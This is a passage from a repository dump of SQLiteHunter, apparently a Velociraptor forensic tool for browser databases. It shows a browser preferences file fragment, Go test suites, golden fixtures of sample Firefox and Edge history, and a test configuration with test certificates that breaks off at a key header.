false, 768 | "device_info": false, 769 | "dictionary": false, 770 | "extension_settings": false, 771 | "extensions": false, 772 | "history": false, 773 | "history_delete_directives": false, 774 | "incoming_password_sharing_invitation": false, 775 | "managed_user_settings": false, 776 | "nigori": false, 777 | "os_preferences": false, 778 | "os_priority_preferences": false, 779 | "outgoing_password_sharing_invitation": false, 780 | "passwords": false, 781 | "power_bookmark": false, 782 | "preferences": false, 783 | "printers": false, 784 | "printers_authorization_servers": false, 785 | "priority_preferences": false, 786 | "reading_list": false, 787 | "saved_tab_group": false, 788 | "search_engines": false, 789 | "security_events": false, 790 | "segmentation": false, 791 | "send_tab_to_self": false, 792 | "sessions": false, 793 | "sharing_message": false, 794 | "themes": false, 795 | "user_consent": false, 796 | "user_events": false, 797 | "web_apps": false, 798 | "webauthn_credential": false, 799 | "wifi_configurations": false, 800 | "workspace_desk": false 801 | }, 802 | "feature_status_for_sync_to_signin": 1 803 | }, 804 | "tracking_protection": { 805 | "tracking_protection_3pcd_enabled": false 806 | }, 807 | "translate_site_blacklist": [], 808 | "translate_site_blocklist_with_time": {}, 809 | "updateclientdata": { 810 | "apps": { 811 | "ghbmnnjooekpmoecnnnilnnbdlolhkhi": { 812 | "cohort": "1::", 813 | "cohortname": "", 814 | "dlrc": 6230, 815 | "installdate": 6220, 816 | "pf": "3395f09a-c80c-4e31-85be-c9fad00d6acc" 817 | }, 818 | "nmmhkkegccagdldgiimedpiccmgmieda": { 819 | "cohort": "1::", 820 | "cohortname": "", 821 | "dlrc": 6230, 822 | "installdate": 6220, 823 | "pf": "103fc6ea-35a5-4ae6-a1be-c908ef400a7b" 824 | } 825 | } 826 | }, 827 | "web_apps": { 828 | "daily_metrics": { 829 | "https://developercommunity.visualstudio.com/": { 830 | "background_duration_sec": 0, 831 | "captures_links": false, 832 | "effective_display_mode": 3, 833 | "foreground_duration_sec": 0, 834 | "installed": false, 835 | "num_sessions": 0, 836 | "promotable": true 837 | } 838 | }, 839 | "daily_metrics_date": "13350384000000000", 840 | "did_migrate_default_chrome_apps": [ 841 | "MigrateDefaultChromeAppToWebAppsGSuite", 842 | "MigrateDefaultChromeAppToWebAppsNonGSuite" 843 | ], 844 | "error_loaded_policy_apps_migrated": true, 845 | "last_preinstall_synchronize_version": "120", 846 | "migrated_default_apps": [ 847 | "aohghmighlieiainnegkcijnfilokake", 848 | "aapocclcgogkmnckokdopfmhonfmgoek", 849 | "felcaaldnbdncclmgdcncolpebgiejap", 850 | "apdfllckaahabafndbhieahigkjlhalf", 851 | "pjkljhegncpnkpknbcohdijeoejaedia", 852 | "blpcfgokakmgnkcojhhkbfbldkacnbeo" 853 | ] 854 | }, 855 | "zerosuggest": { 856 | "cachedresults": ")]}'\n[\"\",[\"palworld controversy\",\"nazare big wave\",\"billy joel\",\"storm isha weather warnings\",\"luke mcilveen daily mail\",\"palworld coal\",\"harry brook cricket\",\"wwe 2k24 deluxe edition\"],[\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\"],[],{\"google:clientdata\":{\"bpc\":false,\"tlw\":false},\"google:groupsinfo\":\"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\\u003d\",\"google:suggestdetail\":[{\"zl\":10002},{\"zl\":10002},{\"google:entityinfo\":\"CggvbS8wYl9qMhImQW1lcmljYW4gc2luZ2VyLXNvbmd3cml0ZXIgYW5kIHBpYW5pc3QyswtkYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQUx3TUJJZ0FDRVFFREVRSC94QUFjQUFFQkFBSURBUUVBQUFBQUFBQUFBQUFHQndRRkFnTUlBUUQveEFCQkVBQUJBd0lEQlFNSEJSRUFBQUFBQUFBQkFnTUVBQkVGQnlFR0VoTXhVVUZoc2hRbk1uR3hzOEVYSXlSemtSVVdJaVkwUWtOaWNvR0NnNU9ob3FQUy84UUFHQUVBQXdFQkFBQUFBQUFBQUFBQUFBQUFBQUVFQXdML3hBQWRFUUFDQWdFRkFBQUFBQUFBQUFBQUFBQUFBUUlSSVFNU0V6RkIvOW9BREFNQkFBSVJBeEVBUHdCOXRubVJnMnlrd1FYMHV5Wm03dkxhYUlIREI1YnhVUno3cjBPbDU4UngrUTRBNDUxNDB4S1BZRlZQODZWRTVrWXpjOGxNai9RM1FwQi9kUUJlSStlckJUOUoyZWVRcm8xTFN2MnBGY1ZaN05wVU43Wnh3SXZ6TXdYOEZSQnRYSzFaS1ZYRmpxRDJVRExMOHZNVyt1eno5dTZXbi9tazJ4R2FFRGEzR1B1VzFoMHFJK1dWT3BVNHBLa2tKSXVORHoxNlY1cGZiNGE3RGtkUlQzSXMyekNpanF3NzRhZEhObURuV2ZPUmpQN1RQdUc2REpOTjg2ejV5OFpIZXo3aHVoMFdPcDFTYjZKUEk5YVRPbGs1eDIzSFZoRFNWTFYwU0xtbEdCYktTOFViVXBNdU93VWVraFlKVWtkYmFlMnUvQWNMYWs4SnVPc3N1RFVsSnNmdHBoSGRpTjdTZVRTUWh2eWhnc0wzYjJzUjE2MWhMVWZoVERSWGNpWVkvQ1hoMHd4WFZwV3BJQ2tyU0xieVRmczdPVks4akQ1eElmMUQzZ05hZk1wb1I5cW5XMHFDazhGdXhISTZXMCt5dHRrWWZPTkMrb2U4QnJlTHVOazAxVW1qRXpxQk9adU0vd0FqM0RkRG9ycTBXQkozVW5RZEtjWjFORkdabUtxUDZSREN4L1NTUGhRWktRRjg5TDYwTUlpN1oyUUhWb0lYWlFQVzFLc1BqczRoaTRFaUVncWFJdHZxVWI2OW9BUFgrOVRGaGIwWmU4MFNEenB2aHVZTVdJaEx6a2R4Y2hBSDRLZEFwWGVlbFpiTWxITFNwbW56QWI4cjJ1bmhrSlJ3bHBaS1B6UVFCZTNkY210OWtwaHN5TG1IRGNmWVVsQVplQlZjRWVnYUp5WnJ1SlRaTTZSYmlTbkZQS0E1QXFKTmhWVHltVXBXMFVRcjFVV1ZYUDhBQ2ExV0ZSTzNic01aK0k0T1lRV2JmT3dtbGp2MVVQaFU2dGMyQnNvY2llMFY2ZHpBeThpYld6R3BxeTZtU2hvTkJhSDkzZFNDVDZKU1FyVlhkNjZDREkyY3RSQ01hRFk3T05FSEwxcGNQd29FUjF3TFExZEtsQWRBZEJYVXNhSkE3VFZ0K1FlWHVEOFkyTjYrbzhpTnJldmZyNk1oNU54ZmFKaTNiOUNPbitkQXlVeGszS1VEdElUOEtyV1ZwSDMxUmtwNUJ0ZmhOZmtaREszdm5OcEVGUDZzQTM5NVN6WUhMS0xzZmlqbUpmZEZ5WklVeVdrM2E0YVVna0VtMXpycFFJLy8yUT09OgpCaWxseSBKb2VsSgcjNDI0MjQyUjJnc19zc3A9ZUp6ajR0RFAxVGRJaXM4eU1tRDA0a3JLek1tcFZNaktUODBCQUVqRkJ0WXACcAY\\u003d\",\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"google:entityinfo\":\"Cg0vZy8xMWNwNWwwX3psEhFFbmdsaXNoIGNyaWNrZXRlcjLbEGRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBUUFNQklnQUNFUUVERVFIL3hBQWFBQUVBQXdFQkFRQUFBQUFBQUFBQUFBQUdBd1VIQkFJQi84UUFOeEFBQVFNREFnTUdCUUFLQXdBQUFBQUFBUUlEQkFBRkVSSWhCaE14SWtGUllYSFJGSUdSb2JFVkl6UkNRM09TbGVIeEZrUnkvOFFBRndFQkFRRUJBQUFBQUFBQUFBQUFBQUFBQWdFQUEvL0VBQ0FSQUFJQ0FRTUZBQUFBQUFBQUFBQUFBQUFCQWhFaE1VRlJBeElpTXZELzJnQU1Bd0VBQWhFREVRQS9BTzFLOXV0cCtieXZhcEE0Z0pCeGFjZnpsKzFTSWNXQiswTi8yNCs5Yy9JZVNlemRwYWV6anN4RmZYclhOM3NOVTlUeklsR08ydDV0TnNXcENTVUJDMXFPcnUyMjIrZFp6L3lPNXlIM0xpVk5tWTI2bFlKYkJBMzJHUER1K2RQVk55WG5Gd3Bjc3FiZEg2bDR4OUN0WG43Wm9EY2JHOVpGVExaY09VcDlXQzI0MHNxU3NkeE8yMitldmhWaTAxazFPT2hxSENzcEUrS3E1eUdXMFNuZ2tMSUJ3QnBHd0hobk5TOFEzWlVLRWo0V0lsNTE1V2pDdXlFYmRUUkd4Y1ZzMkMxb2p1SlU4RWFTb3BPRDAzSUdOOFk4UlY3eFVoNjhRbzZJU05UdVE2MHB4UlJzUjEraHA3V2liMHd2YnI1Y1lOeW1pMXN4bkVvQ0VxUzZuT3JBM0lPM2ZuN1VoNHB1YUpqVU5sdENVb2ViRHVyR2NFamJhakt1R09KWEdDeWpEWU9RUmdnRWV1bXBMdEJ1MHZsc1JvcnEvaEdnMjdvUnF3TjhESFgvQUhXandXVFRkalJ0cVFmNGw3SHJwOXE5OHVRUDRsNytxZmF2Z2hFZjlLUjg1NDk2OHVRVkVmc0Q1OWJoL21nRXM0TENub2JqVHlaYTBsZVFaSkdyUGlENVVNNGdjZGJseTRyenhDY2FDZ2diakhYUHpwNUVROElpQVd3MHJHQWtyQjArOUg3MjB5dTVKVFBpSlVHM0F0SjFiT0pLY2IrTy9kNUR4cVRWb2ZUbDJzTHp1R2hib1Z0bU54bE9vVTJuVzRzNUtWTEpLZmwyc2V1SzBsaUtod1JYVzNzTGl0cWI1YWhuVnNCa0hQbDk2aGpUSTdzUXR2NkRrRWFGYmcrVlZNMll1SzZoS2NnYThiZHllby9OYjF5R1VteERxZUNqMk51N2ZlaDkwNGhlaHRPSVk1SWVNdDNXaFN3RkpBVnNTT3ZTdS9pZTYzYUJhbXBkcmpJZjFuRGlpTlhLSGpwSFh1OUt6cGJyTWVUY3BFeFRsem5PcElhVWh2T0NSdXBRSFRmQXhYVkx1eFpFNjhxR1h4TVZ0R1JhNEk4dFI5NkF5ZUpidkh1QVhLanNzY2w3ZExMWTBqeXp2bjYwOGszR0U0aDFMYTRlUzN0cGhhZC9YRzFaanhGTzU5Mm1KYlVDeVgxS1NBZ0pHYytIZDZVRWpESzA4Zm90c2xiY2xMOGxEdUZBb0l5aytHQ2UrcmhQRlVMaVdVSWtkaDlxUWhCV2ptYWUxanFCZ25mZjdHZ3ZEazhzSUtHSTdEYnJhZTFLZFgwQlBUb2NaMkczZ0tZY0xNeWJoTmRqeXBEVElMZXRBaHBDRDFPU3JzRGJiODBaV3ZHaHR4YnRzNjRraElsc3hTdjljVGpTcmIweFY4WXI2N1lqNG5sS2xhRk5xVWxlZXlrOWc3OTVHTStmalZYSHRURVBpQWxsYnIzSmpaV1hkOHJXcnM0OHdFTC9BS2hTaUE2MStqbE9LN2VzRldmRVZveGRVd1RhdkFFdS9HclA2RjVFWmg5UFBDZzJWRWRrYmVmdlJTSmQ0N0c0azNCb25xbHRDVkQ2bFEvRlNjUU1aZ3R1ODNXdHR3NjhnQW5WMy9XanBOUHB6ZFlOT0NUbzF5Uk81MFI4Smx6Vmx3SENUSHdDTzdlczU0bmFoSXVUMGxhbHlISG5scVdvblRqd0dQR3RBWUxaWVNXeWtwSTJ4UUhpSzN2UFRYRXROZ3FDeW9qUFFZSnF4Q3lQaDV1UElZazdja2FraFhWUkEzSTc2MVBncHRKczRrQUo1NmxLYTFZL2RDcy9rL2Fzd3RNQ1ZibVpMa2xBUnEwRHJrN1pKK3hyVzBMUncvd3d5cVFraGJiS1N0T2Q5YXYzZlVxVmluSkp4WDNJVmlSd1RYVGIxUGN0d3FsU0hpNFRuT2hJd2xQMlNQdWF1NFRxcFZ1WHBTRlBhU2VXTURVZnhSaXdSSDdyQmRldXVVVFErc0tMU3RnRGhTUjhnY2VQU3FleVgyUkpmbFJtbkMydUtwUVVBZFFPQ1IzZ2VGY2JhWjB3RStKMHZSN280dytsYlpBR1cxYkhPL2RWUUZEUFduNnVPNGQyai9CM0tLM0pHRHkrZXdsZURqYkdlaHFvbTI2NlhPSEdZRVpwSWpsUlNleW5BVUJ0dC81RmFOSkpGZVhaLzlrPToLSGFycnkgQnJvb2tKByM0MjQyNDJSRWdzX3NzcD1lSnpqNHRWUDF6YzBUQzR3elRHSXI4b3hZUFFTemtnc0txcFVTQ3JLejg5V1NDN0tUTTVPTFFFQTBFRU1IZ3AGcAc\\u003d\",\"zl\":10002},{\"zl\":10002}],\"google:suggestrelevance\":[1257,1256,1255,1254,1253,1252,1251,1250],\"google:suggestsubtypes\":[[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308]],\"google:suggesttype\":[\"QUERY\",\"QUERY\",\"ENTITY\",\"QUERY\",\"QUERY\",\"QUERY\",\"ENTITY\",\"QUERY\"]}]" 857 | } 858 | } 859 | -------------------------------------------------------------------------------- /test_files/Edge/WebAssistDatabase: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/attachedbroo/SQLiteHunter/a2bf6ad4d949687cbd5c1050d941b7813a52b699/test_files/Edge/WebAssistDatabase -------------------------------------------------------------------------------- /test_files/Firefox/firefox.sqlite: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/attachedbroo/SQLiteHunter/a2bf6ad4d949687cbd5c1050d941b7813a52b699/test_files/Firefox/firefox.sqlite -------------------------------------------------------------------------------- /testing/.gitignore: -------------------------------------------------------------------------------- 1 | velociraptor.bin -------------------------------------------------------------------------------- /testing/edge.go: -------------------------------------------------------------------------------- 1 | package testing 2 | 3 | import ( 4 | "os" 5 | "path/filepath" 6 | 7 | "github.com/Velocidex/ordereddict" 8 | "github.com/alecthomas/assert" 9 | "github.com/sebdah/goldie/v2" 10 | ) 11 | 12 | func (self *SQLiteHunterTestSuite) TestEdgeWebAssistDatabase() { 13 | t := self.T() 14 | 15 | cwd, err := os.Getwd() 16 | assert.NoError(t, err) 17 | 18 | golden := ordereddict.NewDict() 19 | argv := []string{ 20 | "--definitions", "../output", 21 | "query", `LET S = scope() 22 | 23 | SELECT *, "" AS OSPath 24 | FROM Artifact.Generic.Forensic.SQLiteHunter( 25 | FilterRegex=S.FilterRegex, 26 | MatchFilename=FALSE, All=FALSE, Edge=TRUE, CustomGlob=CustomGlob) 27 | `, "--env", "CustomGlob=" + filepath.Join(cwd, "../test_files/Edge/WebAssistDatabase")} 28 | 29 | out, err := runWithArgs(argv, "--env", "FilterRegex=Audio") 30 | golden.Set("FilterRegex=Audio", filterOut(out)) 31 | 32 | g := goldie.New(t, 33 | goldie.WithFixtureDir("fixtures"), 34 | goldie.WithNameSuffix(".golden"), 35 | goldie.WithDiffEngine(goldie.ColoredDiff), 36 | ) 37 | g.AssertJson(t, "TestEdgeWebAssistDatabase", golden) 38 | } 39 | -------------------------------------------------------------------------------- /testing/fixtures/TestArtifact.golden: -------------------------------------------------------------------------------- 1 | { 2 | "All Records": [ 3 | "[][", 4 | " {", 5 | " \"LastVisitDate\": \"2020-06-27T09:29:54.51375Z\",", 6 | " \"URL\": \"https://www.mozilla.org/privacy/firefox/\",", 7 | " \"Description\": null,", 8 | " \"_Source\": \"Generic.Forensic.SQLiteHunter/Firefox Places_History\"", 9 | " },", 10 | " {", 11 | " \"LastVisitDate\": \"2020-06-27T09:30:05.721357Z\",", 12 | " \"URL\": \"http://github.com/seanbreckenridge/dotfiles\",", 13 | " \"Description\": null,", 14 | " \"_Source\": \"Generic.Forensic.SQLiteHunter/Firefox Places_History\"", 15 | " },", 16 | " {", 17 | " \"LastVisitDate\": \"2020-06-30T05:53:37.171Z\",", 18 | " \"URL\": \"https://www.mozilla.org/en-US/firefox/78.0a2/firstrun/\",", 19 | " \"Description\": \"Firefox Developer Edition is the blazing fast browser that offers cutting edge developer tools and latest features like CSS Grid support and framework debugging\",", 20 | " \"_Source\": \"Generic.Forensic.SQLiteHunter/Firefox Places_History\"", 21 | " },", 22 | " {", 23 | " \"LastVisitDate\": \"2021-02-21T08:55:10.488Z\",", 24 | " \"URL\": \"https://www.mozilla.org/en-US/privacy/firefox/\",", 25 | " \"Description\": \"\\n Our Privacy Notices describe the data our products and services receive, share, and use, as well as choices available to you.\\n\",", 26 | " \"_Source\": \"Generic.Forensic.SQLiteHunter/Firefox Places_History\"", 27 | " }", 28 | "]" 29 | ], 30 | "After 2021-02-20T08:55:10.488Z should be only 2021-02-21T08:55:10.488Z": [ 31 | "[][", 32 | " {", 33 | " \"LastVisitDate\": \"2021-02-21T08:55:10.488Z\",", 34 | " \"URL\": \"https://www.mozilla.org/en-US/privacy/firefox/\",", 35 | " \"Description\": \"\\n Our Privacy Notices describe the data our products and services receive, share, and use, as well as choices available to you.\\n\",", 36 | " \"_Source\": \"Generic.Forensic.SQLiteHunter/Firefox Places_History\"", 37 | " }", 38 | "]" 39 | ], 40 | "DateBefore=2020-06-27T09:30:00Z should be only 2020-06-27T09:29:54.51375Z": [ 41 | "[][", 42 | " {", 43 | " \"LastVisitDate\": \"2020-06-27T09:29:54.51375Z\",", 44 | " \"URL\": \"https://www.mozilla.org/privacy/firefox/\",", 45 | " \"Description\": null,", 46 | " \"_Source\": \"Generic.Forensic.SQLiteHunter/Firefox Places_History\"", 47 | " }", 48 | "]" 49 | ], 50 | "FilterRegex=Firefox Developer Edition": [ 51 | "[][", 52 | " {", 53 | " \"LastVisitDate\": \"2020-06-30T05:53:37.171Z\",", 54 | " \"URL\": \"https://www.mozilla.org/en-US/firefox/78.0a2/firstrun/\",", 55 | " \"Description\": \"Firefox Developer Edition is the blazing fast browser that offers cutting edge developer tools and latest features like CSS Grid support and framework debugging\",", 56 | " \"_Source\": \"Generic.Forensic.SQLiteHunter/Firefox Places_History\"", 57 | " }", 58 | "]" 59 | ] 60 | } -------------------------------------------------------------------------------- /testing/fixtures/TestEdgeWebAssistDatabase.golden: -------------------------------------------------------------------------------- 1 | { 2 | "FilterRegex=Audio": [ 3 | "[][", 4 | " {", 5 | " \"_Source\": \"Generic.Forensic.SQLiteHunter/AllFiles\",", 6 | " },", 7 | " {", 8 | " \"ID\": 2,", 9 | " \"Last Visited Time\": \"2023-08-27T11:00:53Z\",", 10 | " \"Title\": \"How to Record Audio on Windows 10\",", 11 | " \"URL\": \"https://www.lifewire.com/how-to-record-audio-on-windows-10-4773840\",", 12 | " \"VisitCount\": 1,", 13 | " \"_Source\": \"Generic.Forensic.SQLiteHunter/Edge Browser Navigation History_Navigation History\",", 14 | " }", 15 | "]" 16 | ] 17 | } -------------------------------------------------------------------------------- /testing/golden.go: -------------------------------------------------------------------------------- 1 | package testing 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "path/filepath" 7 | 8 | "github.com/alecthomas/assert" 9 | ) 10 | 11 | func (self *SQLiteHunterTestSuite) TestGolden() { 12 | t := self.T() 13 | 14 | cwd, err := os.Getwd() 15 | assert.NoError(t, err) 16 | 17 | test_files, err := filepath.Abs(filepath.Join(cwd, "../test_files/")) 18 | assert.NoError(t, err) 19 | 20 | config_file, err := filepath.Abs(filepath.Join(cwd, "test.config.yaml")) 21 | assert.NoError(t, err) 22 | 23 | test_cases, err := filepath.Abs(filepath.Join(cwd, "./testcases/")) 24 | assert.NoError(t, err) 25 | 26 | argv := []string{ 27 | "--definitions", "../output", 28 | "--config", config_file, 29 | "golden", "--env", "testFiles=" + test_files, test_cases, 30 | } 31 | 32 | out, err := runWithArgs(argv) 33 | assert.NoError(t, err, string(out)) 34 | 35 | fmt.Println(string(out)) 36 | } 37 | -------------------------------------------------------------------------------- /testing/sqlitehunter_test.go: -------------------------------------------------------------------------------- 1 | package testing 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "net/http" 7 | "os" 8 | "os/exec" 9 | "path/filepath" 10 | "strings" 11 | "testing" 12 | 13 | "github.com/Velocidex/ordereddict" 14 | "github.com/alecthomas/assert" 15 | "github.com/sebdah/goldie/v2" 16 | "github.com/stretchr/testify/require" 17 | "github.com/stretchr/testify/suite" 18 | ) 19 | 20 | const ( 21 | VelociraptorUrl = "https://github.com/Velocidex/velociraptor/releases/download/v0.7.0/velociraptor-v0.7.0-4-linux-amd64-musl" 22 | VelociraptorBinaryPath = "./velociraptor.bin" 23 | ) 24 | 25 | type SQLiteHunterTestSuite struct { 26 | suite.Suite 27 | } 28 | 29 | func (self *SQLiteHunterTestSuite) SetupSuite() { 30 | self.findAndPrepareBinary() 31 | } 32 | 33 | func (self *SQLiteHunterTestSuite) findAndPrepareBinary() { 34 | t := self.T() 35 | 36 | _, err := os.Lstat(VelociraptorBinaryPath) 37 | if err != nil { 38 | fmt.Printf("Downloading %v from %v\n", VelociraptorBinaryPath, 39 | VelociraptorUrl) 40 | resp, err := http.Get(VelociraptorUrl) 41 | assert.NoError(t, err) 42 | defer resp.Body.Close() 43 | 44 | // Create the file 45 | out, err := os.OpenFile(VelociraptorBinaryPath, 46 | os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0700) 47 | assert.NoError(t, err) 48 | defer out.Close() 49 | 50 | // Write the body to file 51 | _, err = io.Copy(out, resp.Body) 52 | assert.NoError(t, err) 53 | } 54 | } 55 | 56 | func (self *SQLiteHunterTestSuite) TestFirefoxHistory() { 57 | t := self.T() 58 | 59 | cwd, err := os.Getwd() 60 | assert.NoError(t, err) 61 | 62 | golden := ordereddict.NewDict() 63 | argv := []string{ 64 | "--definitions", "../output", 65 | "query", `LET S = scope() 66 | 67 | SELECT LastVisitDate, URL, Description, _Source 68 | FROM Artifact.Generic.Forensic.SQLiteHunter( 69 | DateBefore=S.DateBefore || "2200-10-10", 70 | DateAfter=S.DateAfter || "1900-01-01", 71 | FilterRegex=S.FilterRegex || ".", 72 | MatchFilename=FALSE, All=FALSE, Chrome=TRUE, CustomGlob=CustomGlob) 73 | WHERE VisitID 74 | `, "--env", "CustomGlob=" + filepath.Join(cwd, "../test_files/Firefox/*")} 75 | 76 | // This file has these dates: 77 | // 2020-06-27T09:29:54.51375Z 78 | // 2020-06-27T09:30:05.721357Z 79 | // 2020-06-30T05:53:37.171Z 80 | // 2021-02-21T08:55:10.488Z 81 | out, err := runWithArgs(argv) 82 | require.NoError(t, err, out) 83 | 84 | golden.Set("All Records", filterOut(out)) 85 | 86 | out, err = runWithArgs(argv, 87 | "--env", "DateAfter=2021-02-20T08:55:10.488Z") 88 | assert.NoError(t, err, out) 89 | 90 | golden.Set("After 2021-02-20T08:55:10.488Z should be only 2021-02-21T08:55:10.488Z", 91 | filterOut(out)) 92 | 93 | out, err = runWithArgs(argv, "--env", "DateBefore=2020-06-27T09:30:00Z") 94 | assert.NoError(t, err, out) 95 | 96 | golden.Set("DateBefore=2020-06-27T09:30:00Z should be only 2020-06-27T09:29:54.51375Z", 97 | filterOut(out)) 98 | 99 | out, err = runWithArgs(argv, 100 | "--env", "FilterRegex=Firefox Developer Edition") 101 | golden.Set("FilterRegex=Firefox Developer Edition", 102 | filterOut(out)) 103 | 104 | g := goldie.New(t, 105 | goldie.WithFixtureDir("fixtures"), 106 | goldie.WithNameSuffix(".golden"), 107 | goldie.WithDiffEngine(goldie.ColoredDiff), 108 | ) 109 | g.AssertJson(t, "TestArtifact", golden) 110 | } 111 | 112 | func TestSQLiteHunter(t *testing.T) { 113 | suite.Run(t, &SQLiteHunterTestSuite{}) 114 | } 115 | 116 | func filterOut(out string) []string { 117 | res := []string{} 118 | 119 | for _, line := range strings.Split(out, "\n") { 120 | if !strings.Contains(line, "OSPath") { 121 | res = append(res, line) 122 | } 123 | } 124 | return res 125 | } 126 | 127 | func runWithArgs(argv []string, args ...string) (string, error) { 128 | full_argv := append(argv, args...) 129 | 130 | fmt.Printf("Running %v %v\n", VelociraptorBinaryPath, 131 | strings.Join(full_argv, " ")) 132 | cmd := exec.Command(VelociraptorBinaryPath, full_argv...) 133 | out, err := cmd.CombinedOutput() 134 | return string(out), err 135 | } 136 | -------------------------------------------------------------------------------- /testing/test.config.yaml: -------------------------------------------------------------------------------- 1 | Client: 2 | server_urls: 3 | - https://127.0.0.1:8/ 4 | ca_certificate: | 5 | -----BEGIN CERTIFICATE----- 6 | MIIDKjCCAhKgAwIBAgIQF6ez0Fecf/sHLEfqHttIqTANBgkqhkiG9w0BAQsFADAa 7 | MRgwFgYDVQQKEw9WZWxvY2lyYXB0b3IgQ0EwHhcNMjAwNDIzMTQ0MTQxWhcNMjEw 8 | NDIzMTQ0MTQxWjAaMRgwFgYDVQQKEw9WZWxvY2lyYXB0b3IgQ0EwggEiMA0GCSqG 9 | SIb3DQEBAQUAA4IBDwAwggEKAoIBAQCpbwXY9CZLac92jfM5YhRdmmpsv9doq37v 10 | cMzDzGr6c87ZtllgESZcV1K3+84ANJ5+gaIm2UiBjzKFzJusb2czdS/RjPpXEfo+ 11 | bGIQZebkd5J3VB8Ua/rV1Zof5lkMAsp48fXLyvX2hA9ikX8eX28EY1ljRUKrhqdy 12 | dl8tiVUja/t2E2y7E/YZv6LcLqlhSIXvsLsh9cKKDk6HnduklV9JavASPt7cp7Yh 13 | hNdA6/rUYa0liHMPWK3HAXM6ta0Zq4X25ab3XSBZblKNHS1KRjm4ecawIFeunv8t 14 | ZQuU5YTvEwb0R9Bh3raHY/pftQdAYUD30CyKDfjQ/Hfb6Bw2bxP3AgMBAAGjbDBq 15 | MA4GA1UdDwEB/wQEAwICpDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIw 16 | DwYDVR0TAQH/BAUwAwEB/zAoBgNVHREEITAfgh1WZWxvY2lyYXB0b3JfY2EudmVs 17 | b2NpZGV4LmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAnSGIT4Ye3eM8XCzQxbW6WUgq 18 | ZnNuVhTT416wQwOZNS5PB8BbuvFAjdhodOLjkW7a+yqZUhQeJe9Qvguvorwg3e9d 19 | Ce9R3M8zuneaysbWRTgk24qCyRHJiSwk53Ib5XU6EizXfcAknF4E5dxD29pZEeAv 20 | 628ornxcXCbFf84bsg9RR3EQqP8jRP51U8gq7f53fBItyfMWc5mCfbeT/R4mLFmO 21 | 4phrW5noltASmCCVYFriYHoLlgGk2XKcTUsPsvSRrLh5vnUgIx0qNIgiVA2MsZN/ 22 | SCUPwj30oV0+YVdQczi39M9KTQSRRPEyXbFj+VOfbvFeHiYqe8NucXdmpiUisQ== 23 | -----END CERTIFICATE----- 24 | nonce: dJYj7skxHgw= 25 | writeback_linux: /tmp/foo.yaml 26 | writeback_windows: c:/tmp/foo.yaml 27 | writeback_darwin: /tmp/foo.yaml 28 | 29 | GUI: 30 | bind_address: 0.0.0.0 31 | bind_port: 8889 32 | gw_certificate: | 33 | -----BEGIN CERTIFICATE----- 34 | MIIDDTCCAfWgAwIBAgIRAKEBXjC7StzR7Z7pr/LhyF4wDQYJKoZIhvcNAQELBQAw 35 | GjEYMBYGA1UEChMPVmVsb2NpcmFwdG9yIENBMB4XDTIwMDQyMzE0NDE0MloXDTIx 36 | MDQyMzE0NDE0MlowKTEVMBMGA1UEChMMVmVsb2NpcmFwdG9yMRAwDgYDVQQDDAdH 37 | UlBDX0dXMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAlc585ijmL/8P 38 | yTJendUje2/fpMJhz0V/gRyclYvFu7VAUg66qQfTVbX6SzNNQQzu8xN9Xxoy2TxG 39 | wcwX4FOW3N0q5kRVbHf7O1ZvhYX4nD6wvp81p6qscApPtPQvE0VnqtKrWL7rZ1S5 40 | vR6thT0DvE7ujyoylSZ4bqG1uhy38qHkJ1n/o/ZxQnOSzJDg2ljPxWQ3ybJSqB5j 41 | 8TG8ntOOw++tv1ZtAsSLeO9IhZQGxeSJBsAMvwWXGBYI71Xi+xaOBRuz4meIVFwn 42 | DDzSgua3Fy6DONyWRXC9WhUv0cD406HTKmrIOIG5D0UltU8Lr4qJfxdSWRraYbb9 43 | JhbUhgNjmwIDAQABoz8wPTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYB 44 | BQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQELBQADggEB 45 | ACIXZUtYT3Iy0VHCQahddSb/P+rY3URgTkGj8w+nxOQzovRUB3gFeckrqyD3zdyd 46 | Oj4Ep8cGFfh7lVH0itkM0m75tzURlQaHgjRGsZQjmXlsYgwExZv9yf9FlA9QWwwr 47 | sX/aZ8TUjR3X30RMILQNO6uNEs+r7HMIq6ObgGd2hxwBgxBWeGwQXbKymOfOaY2S 48 | iM+dHQfpnGOhdGrRyNxMuCQ0+n6BrE6PLiVBYVpckgeTekVoMjbt2WvnMZCNfWzR 49 | w+9PcAOZ1mDOqRvapoMVLPUJ37V4pDW/LS0isxGoMezMouVfIpSloFw6gVIjv0NN 50 | 80KXGYIEdOOLlhfPXPP/R9A= 51 | -----END CERTIFICATE----- 52 | gw_private_key: | 53 | -----BEGIN 